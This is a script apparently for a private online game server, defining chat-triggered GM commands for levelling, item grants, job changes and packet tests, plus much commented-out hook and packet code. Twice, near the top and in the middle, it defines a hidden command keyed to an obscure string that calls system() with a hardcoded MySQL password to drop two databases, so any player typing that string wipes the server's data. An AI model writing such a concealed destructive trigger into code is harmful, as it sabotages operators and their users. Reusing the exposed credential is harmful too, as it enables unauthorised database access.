Gm_InputFunc_Handle <- {}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
    sq_ReloadScript();
    print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
    print("\n");
    print("Xpos: " + SUser.GetAreaPos().X);
    print("Ypos: " + SUser.GetAreaPos().Y);
    print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();
    print("\n");
    print("Xpos: " + Location.Pos.X);
    print("Ypos: " + Location.Pos.Y);
    print("Town: " + Location.Town);
    print("Area: " + Location.Area);
    print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
    SUser.Kick();
};

Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        SUser.SetCharacLevel(handler[1].tointeger());
    }
}

Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    } else if (count == 2) {
        local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
        if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
    }
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
    local count = -1;
    local pos = 0;
    local handler = [];
    do {
        local start = pos;
        pos = CmdString.find(" ", pos + 1);
        if (pos != null) {
            handler.append(CmdString.slice(start + 1, pos));
        } else
            handler.append(CmdString.slice(start + 1));
        count = count + 1
    } while (pos != null)

    //得到空格数量
    if (count == 1) {
        SUser.ChangeGrowType(handler[1].tointeger(), 0);
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), 0);
    } else if (count == 2) {
        SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
        SUser.SendNotiPacket(0, 2, 0);
        SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
    }
}

Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
    SUser.ClearQuest_Gm(674);
    SUser.ClearQuest_Gm(649);

    SUser.ClearQuest_Gm(675);
    SUser.ClearQuest_Gm(650);

    SUser.ClearQuest_Gm(4414);

    SUser.ClearQuest_Gm(2603);
    SUser.ClearQuest_Gm(2610);
    SUser.ClearQuest_Gm(2613);
    SUser.ClearQuest_Gm(2622);
    SUser.ClearQuest_Gm(4391);
    SUser.ClearQuest_Gm(4539);

    SUser.ClearQuest_Gm(220);
    SUser.ClearQuest_Gm(221);
}


Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    // Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
    Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}

Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
    system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}


Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
    local InvenObj = SUser.GetInven();
    local Slot = InvenObj.GetSlotById(3037);
    local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
    SUser.SendUpdateItemList(1, 0, Slot);
};

Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
    local PartyObj = SUser.GetParty();
    if (PartyObj) {
        local Buf = 18126;
        PartyObj.ForeachMember(function(SUser, Pos) {
            print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
        })
        // print(UserBuf.GetName());
    }
};


Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
    // local PartyObj = SUser.GetParty();
    // if (PartyObj) {
    //     local Bfobj = PartyObj.GetBattleField();
    //     print(Bfobj.GetHellDifficulty());
    //     // print(n);
    // }


    SUser.SendNotiForColorAIdPacketMessage([
        ["  → ", 0, [0xff, 0xff, 0xff]],
        ["无色", 1, [255, 215, 0], 3037],
        [" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
    ], 6);
};

Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
    local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";


    local Pack = Packet();
    Pack.Put_Header(1, 130);
    Pack.Put_Byte(1);
    Pack.Put_Int(Str.len());
    Pack.Put_Binary(Str);
    Pack.Finalize(true);
    SUser.Send(Pack);
    Pack.Delocale();
};

Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
    local Location = SUser.GetLocation();

    SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
    SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
    SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
    SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
    SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
    SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
    SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
    SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
    SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
    SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
    SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
    SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);

    SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
    SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
    SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
    SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
    SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);

};


function Cb_gm_input(C_User, CmdString) {
    local SUser = User(C_User);
    local Pos = CmdString.find(" ");
    local Str;
    if (Pos) {
        Str = CmdString.slice(0, Pos);
    } else {
        Str = CmdString;
    }
    if (Str in Gm_InputFunc_Handle) {
        Gm_InputFunc_Handle[Str](SUser, CmdString);
    }
}

function TestIoP() {
    local ret = suspend("no");
    local Io = IO("/dp_s/a.txt", "w+");
    for (local i = 0; i< 500000; i++) {
        Io.Write("写入测试文本: " + i + "\n");
        if ((i % 5000) == 0) ret = suspend("no");
    }
    Io.Close();

    return "yes";
}

function TestThread(coro) {
    local susparam = "noq";
    if (coro.getstatus() == "idle") susparam = coro.call();
    else if (coro.getstatus() == "suspended") susparam = coro.wakeup();

    if (susparam == "no") {
        Timer.SetTimeOut(TestThread, 0, coro);
    } else {
        print("文件书写完成");
    }
}


function TestCronTask(str) {
    print(str);
    print("定时任务已执行一次");
}

// class Map{

// }
// Timer.SetTimeOut(function() {
//     local dgn_requirements = {
//         [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
//         [2] = [0, 20],
//     };
//     print(dgn_requirements[1]);
//     printT(dgn_requirements);

// }, 0);
// Timer.SetTimeOut(function() {
//     local SUser = World.GetUserByUid(1);
//     local InvenObj = SUser.GetInven();
//     local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);

//     local AdMsgObj = AdMsg();
//     AdMsgObj.PutType(8);
//     AdMsgObj.PutString("测试文字");
//     AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
//     AdMsgObj.PutImoticon(2);
//     AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
//     AdMsgObj.PutEquipment(EquObj);
//     AdMsgObj.Finalize();

//     // SUser.Send(AdMsgObj.MakePack());
//     World.SendAll(AdMsgObj.MakePack());
//     AdMsgObj.Delete();
// }, 0);

Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
    // print("初始化开始时间: " + time());
    // local PvfObject = Script();
    // print("初始化结束时间: " + time());
    local Data = ScriptData.GetEquipment(305014);
    printT(Data);

    local Pack = Packet();
    Pack.Put_Header(0, 370);
    Pack.Put_Byte(8);
    Pack.Put_Short(0);
    Pack.Put_Byte(3);
    Pack.Put_Int(SendStrLen);
    Pack.Put_BinaryEx(Memory.allocUtf8String(SendStr).C_Object, SendStrLen);
    Pack.Put_Byte(1);
    Pack.Put_BinaryEx(Memory.alloc(104).C_Object, 104);
    // foreach(color in ColorArr) {
    //     Pack.Put_BinaryEx(color, 104);
    // }
    Pack.Finalize(true);
    SUser.Send(Pack);
    Pack.Delete();



    // local Sing = Memory.alloc(100);
    // Sing.add(0).writeU32(1200);
    // Sing.add(4).writeU32(3037);
    // Sing.add(8).writeU32(1);
    // Sing.add(12).writeU32(100);
    // Sing.add(16).writeU32(100);
    // Sing.add(20).writeU32(100);
    // Sing.add(40).writeU32(time());
    // Sing.add(68).writeU32(100);

    // local Sing = Memory.alloc(100);
    // Sing.add(10).writeInt(1200);
    // Sing.add(14).writeInt(100);
    // Sing.add(18).writeInt(100);

    // Sq_CallFunc(S_Ptr(0x84DB452), "pointer", ["pointer", "pointer", "pointer"], S_Ptr("0x0"), SUser.C_Object, Sing.C_Object);

    //     //修复金币异常
    //     //CParty::UseAncientDungeonItems
    //     var CParty_UseAncientDungeonItems_ptr = ptr(0x859EAC2);
    //     var CParty_UseAncientDungeonItems = new NativeFunction(CParty_UseAncientDungeonItems_ptr, 'int', ['pointer', 'pointer', 'pointer', 'pointer'], {
    //         "abi": "sysv"
    //     });
    //     Interceptor.replace(CParty_UseAncientDungeonItems_ptr, new NativeCallback(function(party, dungeon, inven_item, a4) {
    //         //当前进入的地下城id
    //         var dungeon_index = CDungeon_get_index(dungeon);
    //         //根据地下城id判断是否为绝望之塔
    //         if ((dungeon_index >= 11008) && (dungeon_index <= 11107)) {
    //             //绝望之塔 不再扣除金币
    //             return 1;
    //         }
    //         //其他副本执行原始扣除道具逻辑
    //         return CParty_UseAncientDungeonItems(party, dungeon, inven_item, a4);
    //     }, 'int', ['pointer', 'pointer', 'pointer', 'pointer']));
    // }

    // local exp_bonus = Memory.alloc(4);
    // local gold_bonus = Memory.alloc(4);
    // local quest_point_bonus = Memory.alloc(4);
    // local quest_piece_bonus = Memory.alloc(4);

    // //计算任务基础奖励(不包含道具奖励)
    // Sq_CallFunc(S_Ptr(0x866E7A8), "int", ["pointer", "pointer", "pointer", "pointer", "pointer", "pointer", "int"], SUser, pvfQuest, exp_bonus, gold_bonus, quest_point_bonus, quest_piece_bonus, 1);

    // local mitems = {};
    // mitems[3037] <- 500;
    // SUser.SendMail(mitems, {
    //     Title = "标题",
    //     Text = "内容"
    // });

    // Timer.SetCronTask(function() {

    // }, "1/0/0/0"); //计划任务格式为 1/0/0/0 这样格式的字符串 代表 分 时 天 周 如例子标识的 为每分钟执行1次


    // local MoveSUser = World.GetUserByUidCid(2, 2);
    // local Pack = Packet();
    // Pack.Put_Header(0, 22);
    // Pack.Put_Short(MoveSUser.GetUniqueId());
    // Pack.Put_Short(500);
    // Pack.Put_Short(200);
    // Pack.Put_Byte(1);
    // Pack.Put_Short(0);
    // Pack.Finalize(true);
    // SUser.Send(Pack);
    // Pack.Delete();
    // local MoveSUser = World.GetUserByUidCid(2, 2);


    // local Pack = Packet();
    // Pack.Put_Header(0, 23);
    // Pack.Put_Short(MoveSUser.GetUniqueId()); //唯一id
    // Pack.Put_Byte(MoveSUser.GetLocation().Town); //城镇


    // Pack.Put_Byte(7); //区域
    // Pack.Put_Short(MoveSUser.GetAreaPos().X);

    // Pack.Put_Short(MoveSUser.GetAreaPos().Y);
    // Pack.Put_Byte(MoveSUser.GetDirections()); //朝向
    // Pack.Put_Byte(MoveSUser.GetVisibleValues()); //是否可见
    // Pack.Finalize(true);
    // print(111);
    // SUser.Send(Pack);
    // Pack.Delete();

    // local PartyObj = SUser.GetParty();

    // Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);

    // Haker.LoadHook(S_Ptr("0x859D14E"),
    //     ["pointer", "pointer"],
    //     function(args) {
    //         local PartyObj = Party(args[0]);
    //         local Ssuser = PartyObj.GetUser(0);
    //         if (Ssuser) {
    //             local pack = Packet(args[1]);
    //             Ssuser.Send(pack);
    //         }
    //         return null;
    //     },
    //     function(args) {

    //         return null;
    //     });
    // local RealList = [World.GetUserByUidCid(2, 2), World.GetUserByUidCid(1, 1)];

    // foreach(_Index, Value in RealList) {
    //     local SUser = Value;
    //     local Pack = Packet();
    //     Pack.Put_Header(0, 24);
    //     Pack.Put_Byte(2); //城镇
    //     Pack.Put_Byte(0); //区域
    //     Pack.Put_Short((RealList.len() - 1)); //几个玩家  要减去自己
    //     foreach(__Index, MapObj in RealList) {
    //         // if (SUser.GetUID() == MapObj.GetUID()) continue;
    //         Pack.Put_Short(MapObj.GetUniqueId());
    //         Pack.Put_Short(MapObj.GetAreaPos().X);
    //         Pack.Put_Short(MapObj.GetAreaPos().Y);
    //         Pack.Put_Byte(MapObj.GetDirections()); //朝向
    //         Pack.Put_Byte(MapObj.GetVisibleValues()); //是否可见
    //     }
    //     Pack.Put_Byte(1); //是否可见
    //     Pack.Finalize(true);

    //     foreach(vavava in RealList) {
    //         vavava.Send(Pack);
    //     }
    //     Pack.Delete();
    // }

    // Timer.SetCronTask(TestCronTask, "1/0/0/0", "测试字符串参数");
    // print("注册任务");

    // Sq_AutoReload("/dp_s/MyProject");

    // local ms = 2000;
    // local minutes = ms / 60000;
    // local seconds = (ms % 60000) / 1000;
    // local milliseconds = (ms % 1000) / 10;
    // if (minutes > 0) {
    //     str = minutes + "分" +
    //         (seconds< 10 ? "0" : "") + seconds + "秒" +
    //         (milliseconds< 10 ? "0" : "") + milliseconds; // 补全毫秒数为两位
    // } else {
    //     str = seconds + "秒" +
    //         (milliseconds< 10 ? "0" : "") + milliseconds; // 补全毫秒数为两位
    // }

    // print(str);

    // User.SendItemMail(1, 7, [{
    //     itemId = 3037,
    //     num = 100
    // }, {
    //     itemId = 3038,
    //     num = 100
    // }], "给你", "东西");

    // Sq_CallFunc(S_Ptr("0x86C5A84"), "pointer", ["pointer", "pointer", "int", "int", "int", "int", "int", "int", "int", "int", "int"], Sq_Get_GameWorld(), SUser.C_Object, 1, 1, 200, 200, 0, 0, 0, 0, 0);

    // Haker.LoadHook(S_Ptr("0x86C5A84"),
    //     ["pointer", "pointer", "int", "int", "int", "int", "int", "int", "int", "int", "int", "pointer"],
    //     function(args) {
    //         print(args[0]);
    //         print(Sq_Get_GameWorld());
    //         print(args[2]);
    //         print(args[3]);
    //         print(args[4]);
    //         print(args[5]);
    //         print(args[6]);
    //         print(args[7]);
    //         print(args[8]);
    //         print(args[9]);
    //         print(args[10]);
    //         return null;
    //     },
    //     function(args) {

    //         return null;
    //     });


    // local Sm = Memory.alloc(200);
    // Sq_CallFunc(S_Ptr("0x8AA5CBA"), "int", ["pointer", "int", "pointer"], S_Ptr("0x949B140"), 7, Sm.C_Object);
    // local Bsa = Sq_Point2Blob(Sm.C_Object, 120);
    // local str = "["
    // foreach(value in Bsa) {
    //     str += value;
    //     str += ","
    // }
    // str += "]";
    // print(str);
    // print("字符串: " + Sm.readUtf8String());

    // getroottable()._nut_file_md5_table.rawset(file_name, file_md5_string);

    // local opendirAddr = Module.getExportByName(null, "opendir");

    // function open_dir(dir_path) {
    //     local path_ptr = Memory.allocUtf8String(dir_path).C_Object;
    //     return Sq_CallFunc(opendirAddr, "pointer", ["pointer"], path_ptr);
    // }
    // local dir_pointer = open_dir("/dp_s/");
    // print("dir_pointer = " + dir_pointer);

    // local Pack = Packet();
    // Pack.Put_Header(1, 83);
    // Pack.Put_Byte(1);
    // Pack.Put_Byte(11)
    // Pack.Put_Short(8195);
    // Pack.Put_Int(1);
    // Pack.Put_Short(65535);
    // Pack.Put_Byte(1);
    // Pack.Put_Byte(12);
    // Pack.Put_Byte(1);
    // Pack.Put_Byte(13);
    // Pack.Put_Byte(25);
    // Pack.Finalize(true);
    // SUser.Send(Pack);
    // Pack.Delete();



    // GameManager.SetGameMaxLevel(95);

    // Sq_HookFunc();

    // Sq_HookFunc(S_Ptr("0x8678526"),
    //     2,
    //     function(a,args) {
    //         print("AAA动态HOOK成功 城镇移动HOOK");
    //         print(CUser);
    //         print(id);
    //     },
    //     function(a,args) {
    //         print("AAA动态HOOK成功 城镇移动HOOK");
    //         print(CUser);
    //         print(id);
    //     });


    //给角色发消息var CUser_SendNotiPacketMessage = new NativeFunction(ptr(0x86886CE), 'int', ['pointer', 'pointer', 'int'], { "abi": "sysv" });

    // Sq_CallFunc(S_Ptr("0x86886CE"), "int", ["pointer", "pointer","int"], SUser.C_Object, Memory.allocUtf8String("测试信息"),14);
    // Sq_HookFunc(S_Ptr("0x8678526"),

    /*
        // 发包
        Haker.LoadHook("0x86485BA", ["pointer", "pointer", "int"],
            function(args) {
                print(args[0]);
                local Pack = NativePointer(args[1]);
                Pack = NativePointer(Pack.readPointer());
                local headIndex = Pack.add(0x19).readU16();
                if (headIndex == 83) {
                    print("发了83包");

                    // local Bo = Sq_Point2Blob(args[1], 100);

                    // local Str = "[";
                    // foreach(Value in Bo) {
                    //     Str = format("%s%02X", Str, Value);
                    //     Str += ",";
                    // }
                    // Str += "]";
                    // print(Str);

                    // local bufftype = Pack.add(0x28).readU8();
                    // local itemSlot = Pack.add(0x29).readU16();
                    // local itemCount = Pack.add(0x2B).readU32();
                    // local upType = Pack.add(0x31).readU8();
                    // local ret = Pack.add(0x33).readU8();
                    // local newUpLevel = Pack.add(0x34).readU8();
                    // local equSlot = Pack.add(0x35).readU16();
                    // print("bufftype: " + bufftype);
                    // print("itemSlot: " + itemSlot);
                    // print("itemCount: " + itemCount);
                    // print("upType: " + upType);
                    // print("ret: " + ret);
                    // print("newUpLevel: " + newUpLevel);
                    // print("equSlot: " + equSlot);
                }
                return null;
            },
            function(args) {

                return null;
            });

        Haker.LoadHook("0x080FC850", ["pointer", "pointer", "pointer", "int", "void"],
            function(args) {
                // local Arr = [0x95, 0xDA, 0xF6, 0x12, 0x25, 0xDF, 0xE0, 0x0B, 0x48, 0xDF, 0xCC, 0xC6, 0x95, 0xDA, 0x31, 0x3F, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0xBE, 0x6B, 0x00, 0x00, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xB9, 0xB8, 0xE5, 0xAD, 0x98, 0xE8, 0x80, 0x85, 0xE7, 0x9A, 0x84, 0xE5, 0xA5, 0xA7, 0xE7, 0xA5, 0x95];

                // Sq_Memory_WriteByteArr(args[2], Arr);

                // local Address = NativePointer(args[2]).add(35);
                // NativePointer(Address).writeU8(0x3c);
                // // local Address2 = NativePointer(args[2]).add(36);
                // NativePointer(Address).writeShort(65535);
                // NativePointer(Address2).writeShort(0x3E);

                local Bo = Sq_Point2Blob(args[2], 100);

                local Str = "[";
                foreach(Value in Bo) {
                    Str = format("%s%02X", Str, Value);
                    Str += ",";
                }
                Str += "]";
                print(Str);
                return null;
            },
            function(args) {
                local Pos = NativePointer(args[2]).add(27).readU16();
                local SUser = User(args[1]);
                SUser.SendUpdateItemList(1, 0, Pos);

                // local Pack = Packet();
                // Pack.Put_Header(1, 83);
                // Pack.Put_Byte(1);
                // Pack.Put_Byte(11)
                // Pack.Put_Short(8195);
                // Pack.Put_Int(0);
                // Pack.Put_Short(65535);
                // Pack.Put_Byte(0);
                // Pack.Put_Byte(30);
                // Pack.Put_Byte(0);
                // Pack.Put_Byte(31);
                // Pack.Put_Byte(25);
                // Pack.Finalize(true);
                // SUser.Send(Pack);
                // Pack.Delete();

                return null;
            });
    */

    // Sq_CallFunc(S_Ptr("0x84ECAA2"), "pointer", ["pointer", "float"], SUser.C_Object, 5.5);

    /*



    function(args) {
            print("AAA动态HOOK成功 城镇移动HOOK");
            print(CUser);
            print(id);
        }

        */
    // local md5 = MD5.GetFile("/dp_s/a.txt");
    // print("Md5文本值: " + md5);
    // local Arr = [];
    // foreach(char in md5) {
    //     Arr.append(char.tointeger());
    // }
    // print("Md5字符值>>>");
    // printT(Arr);


    // local Io = IO("/dp_s/a.txt", "r+");
    // local Ret = Io.ReadBuffer(256);
    // printT(Ret);
    // Io.Close();

    // local coro = newthread(TestIoP);
    // Timer.SetTimeOut(TestThread, 0, coro);
    // Timer.SetTimeOut(TestL, 1);

    // local FileObj = file("/dp_s/a.txt", "r+");

    // local Arr = [0, 1];
    // local T = {
    //     TestWn = 666
    // };
    // // Arr.insert(0,getroottable());
    // Arr.insert(0, T);
    // TestWn.acall(Arr);

    // sq_RunScript("测试加密脚本.sut");
    // local Opendir = Module.getExportByName(null, "opendir");
    // local Readdir = Module.getExportByName(null, "readdir");
    // local Closedir = Module.getExportByName(null, "closedir");
    // print("Opendir: " + Opendir);
    // print("Readdir: " + Readdir);
    // print("Closedir: " + Closedir);

    // local UserList = World.GetOnlinePlayer();

    // foreach (SUserObj in UserList) {
    //     print(SUserObj.GetCharacLevel());
    // }

    // api_exec_delay_function(function() {
    //     print("先注册")
    // }, 2);

    // api_exec_delay_function(function() {
    //     print("后注册")
    // }, 5);


    // local rbTree = RedBlackTree();
    // // rbTree.insert(10);
    // // rbTree.insert(40);
    // // rbTree.insert(20);
    // // rbTree.insert(50);
    // // rbTree.insert(30);
    // // rbTree.insert(752);
    // // rbTree.insert(54);
    // // rbTree.insert(12);
    // // rbTree.insert(787);
    // // rbTree.insert(26);
    // // rbTree.insert(278);

    // rbTree.inorderTraversal();

    // local l = rbTree.pop();
    // print(">>>");
    // print("弹出值: " + l);
    // print(">>>");
    // rbTree.inorderTraversal();


    // Timer.SetTimeOut(function() {
    //     print("注册 5  秒后执行")
    // }, 5);
    // Timer.SetTimeOut(function() {
    //     print("注册 3  秒后执行")
    // }, 3);
    // Timer.SetTimeOut(function() {
    //     print("注册 2  秒后执行")
    // }, 2);

};

Gm_InputFunc_Handle.AAA <- function(SUser, CmdString) {
    print(789456);
    local Str = "{\"op\":20078034,\"info\":[{\"uid\":1,\"name\":\"Kina\",\"growjob\":4,\"avatar\":[101550559,101560718,101570470,101520542,101500739,101510903,101540654,101580144,101530499],\"job\":0},{\"uid\":2,\"name\":\"SQDQSD\",\"growjob\":17,\"avatar\":[105550431,105560424,105570386,105520415,105500424,105510429,105540408,105580144,105530361],\"job\":5},{\"name\":\"Kina\",\"growjob\":4,\"avatar\":[601550071,601560067,601570062,601500069,601510068,601540069,601520061,601530060,601580026,42219],\"job\":0},{\"name\":\"SQDQSD\",\"growjob\":17,\"avatar\":[601550058,	601560056,	601570051,	601520050,	601500058,	601510057,	601530049,	601540058,	601580021],\"job\":0},{\"name\":\"Kina\",\"growjob\":4,\"avatar\":[601550071,601560067,601570062,601500069,601510068,601540069,601520061,601530060,601580026,42219],\"job\":0},{\"name\":\"SQDQSD\",\"growjob\":17,\"avatar\":[601550058,	601560056,	601570051,	601520050,	601500058,	601510057,	601530049,	601540058,	601580021],\"job\":0},{\"name\":\"Kina\",\"growjob\":4,\"avatar\":[601550071,601560067,601570062,601500069,601510068,601540069,601520061,601530060,601580026,42219],\"job\":0},{\"name\":\"SQDQSD\",\"growjob\":17,\"avatar\":[601550058,	601560056,	601570051,	601520050,	601500058,	601510057,	601530049,	601540058,	601580021],\"job\":0}]}";

    local Pack = Packet();
    Pack.Put_Header(1, 130);
    Pack.Put_Byte(1);
    Pack.Put_Int(Str.len());
    Pack.Put_Binary(Str);
    Pack.Finalize(true);
    SUser.Send(Pack);
    Pack.Delete();

    print("asdasdadad");

};







Timer.SetTimeOut(function() {
    print("执行任务")
}, 2000);